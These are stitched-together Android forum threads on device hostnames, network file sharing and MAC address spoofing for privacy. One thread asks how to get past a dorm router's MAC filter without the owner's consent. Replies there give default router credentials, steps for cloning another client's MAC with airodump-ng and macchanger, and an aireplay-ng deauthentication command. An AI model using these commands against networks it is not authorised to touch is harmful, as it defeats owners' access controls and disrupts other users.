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Can I change my Hero's ID on a wireless network?

My Hero ID shows up on my wireless network as UNKNOWN, is there a way to change this? I know there was in WinMo, but I can't find anything in Android.
Thanks.

Do you mean the hostname?
I've not tried it but try setting it in /etc/hostname, and add it to the end of the localhost line in /etc/hosts, might work..

Hi Sam, thanks for the reply. Not sure what you mean by hostname.
I'm referring to how the phone is identified on a wireless network. With my WinMo devices I gave the phone a name in the Device ID section. Then, when I go to my router, I am able to see IP address, Device Name, and MAC address.
I cannot find any settings in the Hero that allow me to specify a device name, so it always shows up as UNKNOWN on the network.

Linux / unix
Deke
a Hosts file is a file that links IP address with Names... Windows have them UNIX and macs... etc...
its a file you will rarely see in windows. but in unix/linux you very well could.. as Android is based on Linux i beleive the sugesstion mentioned is to edit this file on your phone and ad the Local host (the phone itself) in there with the name you want it to have...
In UNIX (which i use) i can totaly see this working but have no idea if this will work on the phone, and you will need it to be 'rooted'
this means have access to the Administrators privlages to edit files...
(in linux root = Administrator)
there are posts on the forums on how to root your phone and it will open up function to you but at the same time will allow you to happly **** up the system files if you dont know what your doing and make your phone into a nice paperweight...
hope this helps

Hi Bobro; very helpful, thanks.
So basically I can't do something as simple as give my phone a useful ID without rooting it? I would regard that as a fundamental requirement, so it seems a bit foolish to omit the functionality from Android.

How To: Mount Xoom has a network drive (windows)

http://www.youtube.com/watch?v=BlvAoHmTkqU
This could work for the xoom or any phone.
You need to install Swiftp - and configure it with a user name and password first. As seen in Sleepless ninja's video.
Any questions, let me know .
Thanks.

Knether said:
http://www.youtube.com/watch?v=BlvAoHmTkqU
This could work for the xoom or any phone.
You need to install Swiftp - and configure it with a user name and password first. As seen in Sleepless ninja's video.
Any questions, let me know .
Thanks.
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You must have mentioned Sleepless ninja's video Link in your post. It will help all.
Anyways, here is the link
http://www.youtube.com/watch?v=Hy_wnSKN_CM&feature=channel_video_title
Thanks'
ATUL
www.techofweb.com

so swiftp app on the xoom assigns a local ip with a port it seems.
im not at my local network, but wifi explorer may be able to do the sasme thing. it assigns the android device an ip and port. you then go to the web browser and type in the ip and port and you can then access your android device from the browser.
this may work with the mount option on PC. someone who feels like it may also try this method. ill do it but i wont be back in the network until much later in the evening.

marctronixx said:
so swiftp app on the xoom assigns a local ip with a port it seems.
im not at my local network, but wifi explorer may be able to do the sasme thing. it assigns the android device an ip and port. you then go to the web browser and type in the ip and port and you can then access your android device from the browser.
this may work with the mount option on PC. someone who feels like it may also try this method. ill do it but i wont be back in the network until much later in the evening.
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I'm pretty sure it does the same thing..
As long as it gives it a local IP and a port you are golden.

Accessing and viewing files from pc on A500

So I want to access my pc files from the tab using es file explorer. I set up file sharing on my pc so now i can see the files but when i try to open the folders i get a message telling me it can't be opened. Can anyone give me a basic run down of what I need to do to getthis to work. And is it easy to access my files from any pc, say can my neighbor get into my files with his laptop if he knows what he's doing?
I'm still on xp on my pc. As far as I know I have no password on the pc. The only account I have is admin and when I installed my tiny xp I don't think i set up any passwords.

So either this is a complete dumbass question or something else.

File Manager HD
Use File Manager HD, it's much better for accessing files on network. choose Lan Connection from the menu, select create, input ip, usename and password. i use it everyday to transfer files.
http://forum.xda-developers.com/showthread.php?t=1231609

Lyle Dylandy said:
Use File Manager HD, it's much better for accessing files on network. choose Lan Connection from the menu, select create, input ip, usename and password. i use it everyday to transfer files.
http://forum.xda-developers.com/showthread.php?t=1231609
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Gave it a go but won't allow me to connect. Says connection unavailable. Got my ip from an ip checking site put in my wireless router username and password (correct?) But still no joy. Should i be doing something else?

Try putting the stuff that you want to share in the public folder on your pc.
On my Windows 7 machine it is in C:\Users\Public. That should do it.
Oh and the public folder should probably be treated as just that. Public. I am behind a nice firewalled router so only the folks on my network can get to them without being a total H4X0R. You can change the permissions on that folder if you really want to lock it down. But I really don't use that feature, so I have no way of knowing the process.

irishmoe said:
Gave it a go but won't allow me to connect. Says connection unavailable. Got my ip from an ip checking site put in my wireless router username and password (correct?) But still no joy. Should i be doing something else?
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Go to control pan and make a account with a account name and password and admin rights.
Now see what your local IP for your machine is, not your internet IP. Should be something like 192.168.2.something or 1.something.
Now you have your windows log in name and password and your machine IP.
Use your tab software to connect, uncheck anonomous log in so it will ask for user name and password and IP. Also if your router has security turned on you will also née that password.

irishmoe said:
So I want to access my pc files from the tab using es file explorer. I set up file sharing on my pc so now i can see the files but when i try to open the folders i get a message telling me it can't be opened. Can anyone give me a basic run down of what I need to do to getthis to work. And is it easy to access my files from any pc, say can my neighbor get into my files with his laptop if he knows what he's doing?
I'm still on xp on my pc. As far as I know I have no password on the pc. The only account I have is admin and when I installed my tiny xp I don't think i set up any passwords.
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Have yiu checked permissions on the share. Change them to everyone r/w and see if that fixes it. Also check ntfs permissions
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Thanks to all of you will give it alla try later after work. If i can't do it now then i'm a complete idiot

If you dont have any password on your windows account and you dont want to create an new account, try this:
1st. Check your local IP by doing this: win start menu, select run, type "cmd" in the shell type "ipconfig" and you will have something like 192.168.2xx.x
2nd. In Es File Explorer or File Manager HD just enter the IP and log as anonymous
You must have shared folders in windows, to do so, right-click on the folder you want to access, properties, sharing, tick "share this folder on the network" OK
You should be able to access the folder.
Good Luck!

did exactly as suggested and worked a treat up to a point. Now I can see the directories but they are empty???
I don't hav any paswords on my xp so didn't need to set up a new account shared the files on the network. Entered ip, got to the folders, music etc, but each is empty.

Sure you are not looking at the public folders and not your local..?

Ok, I dug out an old WinXp lappy that was in the closet and I can see the files. Here's how I did it.
I put what I wanted to share into the C:\Documents and Settings\All Users\Shared Documents of the Xp machine.
Then on the tablet I selected the lan tab in ES File explorer. Chose the settings box and selected 'new', and then 'server'. I entered the ip manually.
When it asked for a logon I ticked the 'anonymous' box and logged in. Everything else was blank.
Everything worked.
Hope that this helped.

JdgM3NT4L said:
Ok, I dug out an old WinXp lappy that was in the closet and I can see the files. Here's how I did it.
I put what I wanted to share into the C:\Documents and Settings\All Users\Shared Documents of the Xp machine.
Then on the tablet I selected the lan tab in ES File explorer. Chose the settings box and selected 'new', and then 'server'. I entered the ip manually.
When it asked for a logon I ticked the 'anonymous' box and logged in. Everything else was blank.
Everything worked.
Hope that this helped.
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That worked perfectly. Weird how it won't work any other way for me

irishmoe said:
That worked perfectly. Weird how it won't work any other way for me
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Glad to help. Enjoy!

irishmoe said:
That worked perfectly. Weird how it won't work any other way for me
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Right click on the folders you want to share, like music and video or whatever and share them. They should be viewable on your a500 if you get them shared proper. That way you don't have to copy everything you want to share to the public folders. But public is better than no shares.

shaun298 said:
Right click on the folders you want to share, like music and video or whatever and share them. They should be viewable on your a500 if you get them shared proper. That way you don't have to copy everything you want to share to the public folders. But public is better than no shares.
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Tried that Shaun but it doesn't work. Can see the folders but they are empty when viewed from tab. No big deal anyway just wanted to put my sons stuff there so he could watch it on the tab when his mum and dad need some downtime.

irishmoe said:
Gave it a go but won't allow me to connect. Says connection unavailable. Got my ip from an ip checking site put in my wireless router username and password (correct?) But still no joy. Should i be doing something else?
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You want your PCs Internal IP Address, not the external one for your Router (any PC you use to check that site will return the external IP of the router)
Click Start, then click Run. type "CMD" into the box. a command window will open. now type "IPCONFIG" look at the one for Local Area Connection. the IP address there is the one you want. BTW you need to do this on the PC that you want to get files from.
Of course if you want to get to the files from anywhere in the world then you do need your external and some open ports.
Another thing to note. XP started a trend in that Passwords are required to share things across a network that are manually shared.

[Q] "hacking": How to find the model of the WiFi router that I'm connected to?

[Q] "hacking": How to find the model of the WiFi router that I'm connected to?
Here's the deal. My girlfriends lives in the student dorms and the girl next door has set up wifi network, so they are splitting the fee. However, her boyfriend put mac address protection on the router, so next time I go there I cant connect my Pc, tablet and phone, how do I surpass this?
The only thing that came to mind is to find the model of the router, log in to it with the deffault name and password (im pretty sure he didn't change them and simply add my mac or remove this feature).
How do I do this without asking the model of the router? Is there a way?

arsenala said:
Here's the deal. My girlfriends lives in the student dorms and the girl next door has set up wifi network, so they are splitting the fee. However, her boyfriend put mac address protection on the router, so next time I go there I cant connect my Pc, tablet and phone, how do I surpass this?
The only thing that came to mind is to find the model of the router, log in to it with the deffault name and password (im pretty sure he didn't change them and simply add my mac or remove this feature).
How do I do this without asking the model of the router? Is there a way?
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haha,why don't you ask them for the name and password in quiet?

arsenala said:
Here's the deal. My girlfriends lives in the student dorms and the girl next door has set up wifi network, so they are splitting the fee. However, her boyfriend put mac address protection on the router, so next time I go there I cant connect my Pc, tablet and phone, how do I surpass this?
The only thing that came to mind is to find the model of the router, log in to it with the deffault name and password (im pretty sure he didn't change them and simply add my mac or remove this feature).
How do I do this without asking the model of the router? Is there a way?
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you can share the internet on your gf computer through the lan port and then use acces-point to make it wireless, i think this bypass thier mac proctection
admin/root, admin/admin, admin/blank password are the most common default credentials
hope this helps

Most routers have a default password of admin/admin or admin/password.
Please try if either combination works.

Give your gf your mac addresses and have them added to the router. she's splitting the cost so she should be able to use it. they can be removed after she dumps you.
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try telnetting to the router and see if it gives you a header. Sometimes it will give you the make/model information at the login prompt.

as easy as that
Go to the gateway IP (192.168.0.1 / 1.1)
And login. Then you'll see the router's model.
Even If you're unable to login sometimes it's still written in the tab's title
Default login data is
admin:admin
And you can easily bypass mac filter by spoofing your mac,login to the settings pannel and remove protection.
(please use ubuntu or similar)

there is an app for that
google play Find My router when connected to the network.
if the guy did not changed the credentials this app will show you what are they and you can enter and modify mac filtering

if you are running linux
if your runing linuix you can open terminal and enter
su - (super mode)
Password: **** (enter root password if not known theres a comand to change it )
ifconfig wlan0 down
macchanger -m *************** (copy anyone on the networks mac address)
ifconfig wlan0 up
if you dont know the mac address its simple on kali linux
su _
Password
airodump-ng wlan0
this wil bring up all wifi networds in the area with their info
then pick their info and write
airodump-ng -c (chan number) -e (wifi name) --bssid --ivs wlan0
this should show connected stations mac addresses
and copy into the maccchanger -m (**************) comand i said earlier
written from memory correct me if wrong
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arsenala said:
Here's the deal. My girlfriends lives in the student dorms and the girl next door has set up wifi network, so they are splitting the fee. However, her boyfriend put mac address protection on the router, so next time I go there I cant connect my Pc, tablet and phone, how do I surpass this?
The only thing that came to mind is to find the model of the router, log in to it with the deffault name and password (im pretty sure he didn't change them and simply add my mac or remove this feature).
How do I do this without asking the model of the router? Is there a way?
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HELPB plebsb :fingers-crossed:
if the boyfriends wants to chat **** kick him off the wifi using a deauthentication attack
aireplay-ng -a (MAC id of victim here ) --deauth 0 wlan0
–deauth means deauthentication
0 is the number of deauths to send (you can send multiple if you wish like 5)
-a 00:14:6C:7E:40:80 is the MAC address of the access point
-c 000:00:00:00:00:9D is the MAC address of the client you are deauthing if you want to#
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as i dont have my pc infront of me
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arsenala said:
Here's the deal. My girlfriends lives in the student dorms and the girl next door has set up WiFi network, so they are splitting the fee. However, her boyfriend put mac address protection on the router, so next time I go there I cant connect my PC, tablet and phone, how do I surpass this?
The only thing that came to mind is to find the model of the router, log in to it with the default name and password (im pretty sure he didn't change them and simply add my mac or remove this feature).
How do I do this without asking the model of the router? Is there a way?
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HELPB plebsb :fingers-crossed:
if the boyfriends wants to chat **** kick him off the WiFi using a deauthentication attack
aireplay-ng -a (MAC id of victim here ) --deauth 0 wlan0
–deauth means deauthentication
0 is the number of deauths to send (you can send multiple if you wish like 5)
-a 00:14:6C:7E:40:80 is the MAC address of the access point
-c 000:00:00:00:00:9D is the MAC address of the client you are deauthing if you want to#
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as i dont have my PC in front of me

MAC Address Spoofing

Being overly paranoid I'm always trying to make it harder for companies to track my device. Anyway, my most recent discovery is spoofing the MAC Address on my 3T so that wifi companies can't track it.
*** This requires root ***
I have it working in Marshmallow 6.0.1 (not tried it in Nougat)
Only attempt this if you understand MAC Addresses and be sure to note down your original/official MAC Address. Open /persist/wlan_mac.bin and take a copy of the contents before attempting the below.
Some background reading if you're not familiar with MAC Addresses.
Code:
ifconfig wlan0
will tell you all you need to know about the current state of your wireless adapter
The first command generates a MAC Address. I've hardcoded the first 6 characters of mine and randomly generate the remaining 6. It should generate a perfectly valid address but please post if it doesn't (or you have a better bash line).
The second sed command is to replace the MAC Address in the persisted wlan file. It's this command that needs to run as root.
You should be able to run these in something like Termux (make sure you're running as root by running "su" first). I actually run them using Tasker as "Code/Run Shell" commands.
Finally you need to enable then disable Airplane Mode for the change to take affect.
Here are the commands:
Code:
MAC=C0EEFB$(od -txC -An -N3 /dev/random| tr -d ' ')
Code:
sed -i "/Intf0MacAddress=/c\Intf0MacAddress=${MAC}" /persist/wlan_mac.bin
Code:
settings put global airplane_mode_on 1; am broadcast -a android.intent.action.AIRPLANE_MODE --ez state true
Code:
settings put global airplane_mode_on 0; am broadcast -a android.intent.action.AIRPLANE_MODE --ez state false
Code:
ifconfig wlan0 | grep HWaddr

Why don't you write a shell script that saves the old mac address to a text file and then create the new one. And each time the user executes the shell script to spoof the mac address it appends to the existing log file in a new line the old mac address before changed again. That was if you ever need to revert it, you can look at the log file.
BTW, thanks for the share!

bealer said:
Being overly paranoid I'm always trying to make it harder for companies to track my device. Anyway, my most recent discovery is spoofing the MAC Address on my 3T so that wifi companies can't track it.
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Can't we just use this?
https://play.google.com/store/apps/details?id=eu.chainfire.pryfi

knpk13 said:
Can't we just use this?
https://play.google.com/store/apps/details?id=eu.chainfire.pryfi
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I dont think that it will work since our devices are F2FS i saw this on reddit the other day.

using a custom mac address
Newbie here. Just wondering how I could use a specific mac address instead of a random generated number.
Thanks in advance.

m0d hipp¥ said:
Why don't you write a shell script that saves the old mac address to a text file and then create the new one. And each time the user executes the shell script to spoof the mac address it appends to the existing log file in a new line the old mac address before changed again. That was if you ever need to revert it, you can look at the log file.
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Yeah definitely things to improve,automating storing the original being one of them. I'll maybe follow up with that.
I didn't want to mask the main two commands too much with others around them. There are a few (older) ways to do this but this was the only way I could get it to work. And it's not a complete app/solution, more teaching a man to fish sort of thing.

knpk13 said:
Can't we just use this?
https://play.google.com/store/apps/details?id=eu.chainfire.pryfi
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You can although
a) OP3T isn't listed as a supported device, I didn't try it
b) You can't automate it with that app very easily. Mine changes via Tasker state/events every day so I don't need to bother doing it myself.

gxyf106 said:
Newbie here. Just wondering how I could use a specific mac address instead of a random generated number.
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Easiest way is just to change the first command and hardcode the MAC you want, ie
Code:
MAC=C0EEFB998877

Termux says
Sh: MAC: Not Found after running second command. Any idea what went wrong?

gxyf106 said:
Termux says
Sh: MAC: Not Found after running second command. Any idea what went wrong?
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Ah oops, that's an error in me typing it out. The 2nd command should contain:
Code:
${MAC}
The brackets were causing it to try and evaluate MAC as a command (rather than a variable). I'll update the OP.

I can confirm this works. many thanks!!

Android is using randomized MAC adress when searching for wifi networks, this is not needed.

Michalko5896 said:
Android is using randomized MAC adress when searching for wifi networks, this is not needed.
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As of 6.0 it was my understanding that Android uses a generated MAC for scanning/probing networks. But when actually making a connection, the real MAC is used (so as not to cause network issues). So this post is still relevant. I'm generating a new MAC every day or two as I use a number of public open wifi connections.
Also working on my hostname being random, and trying to stop all traffic on an open wifi network until my vpn is up.
Some might argue it's OTT, but I'd say it's just good practise (certainly the last point).

bealer said:
As of 6.0 it was my understanding that Android uses a generated MAC for scanning/probing networks. But when actually making a connection, the real MAC is used (so as not to cause network issues). So this post is still relevant. I'm generating a new MAC every day or two as I use a number of public open wifi connections.
Also working on my hostname being random, and trying to stop all traffic on an open wifi network until my vpn is up.
Some might argue it's OTT, but I'd say it's just good practise (certainly the last point).
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Well, if you are concerned about your safety, don't connect to any Wi-Fi / BT devices that you don't trust.

Michalko5896 said:
Well, if you are concerned about your safety, don't connect to any Wi-Fi / BT devices that you don't trust.
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The MAC address spoofing is more about privacy in terms of trying to be anonymous, making it *harder* to track where I connect etc...
Trust is a slightly more complex, non-binary issue.

bealer said:
The MAC address spoofing is more about privacy in terms of trying to be anonymous, making it *harder* to track where I connect etc...
Trust is a slightly more complex, non-binary issue.
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MAC aadress is only used in local network, it does not go further than the very network you are connected to. What kind of advantage does MAC spoofing give you?
There's still your device ID, browser information and other stuff, that can actually reach the service you are connecting to.

Someguyfromhell said:
MAC aadress is only used in local network, it does not go further than the very network you are connected to. What kind of advantage does MAC spoofing give you?
There's still your device ID, browser information and other stuff, that can actually reach the service you are connecting to.
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It stops wifi services tracking my phone. For example I use the wifi on the London Underground. Every time I connect to their wifi they'd know exactly where, when, how long, possibly my DNS requests just based on my MAC. It's all information that can be used for profiling or sold on (if that was part of the terms). They still may not known who I am exactly, but I'd rather they weren't able to identify/target me if it meant simply randomising my MAC. As mentioned Android already does this when scanning for networks.
Device Id isn't given, unless you mean hostname (which can be randomised too). If you're using HTTPS based websites then all browser traffic is encrypted via SSL. If you're not, then yeah it's possible to packet sniff your traffic (which is illegal), see what you're browsing, what your browser is, even part (but not all I believe) of your MAC etc...

Try Pry-Fi
Chainfire already has Pry-Fi for that. It has worked flawlessly for me.

first of all thank you for the commands but somehow this does not work with my Oneplus 3 (without T) on Sultans CM13. The address does not change after entering the commands, the commands do not show any error message.
Any advice?
Furthermore Pry-Fi seems to be able to change the MAC but it crashes sometimes and it seems to loose my saved WiFis. Furthermore i am not able to connect to my home AP after changing the MAC with Pry Fi. :-/

Someguyfromhell said:
MAC aadress is only used in local network, it does not go further than the very network you are connected to. What kind of advantage does MAC spoofing give you?
There's still your device ID, browser information and other stuff, that can actually reach the service you are connecting to.
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Many public, free hotspots that require accepting terms on "walled garden" page today are tracking MAC address, DHCP-assigned IP address, and DHCP lease and active session time stamps. Example hotspots include Starbucks, hotels, etc. These hotspot network operator have logs to trace IPs back to MACs at a specific point in time until the logs are disposed.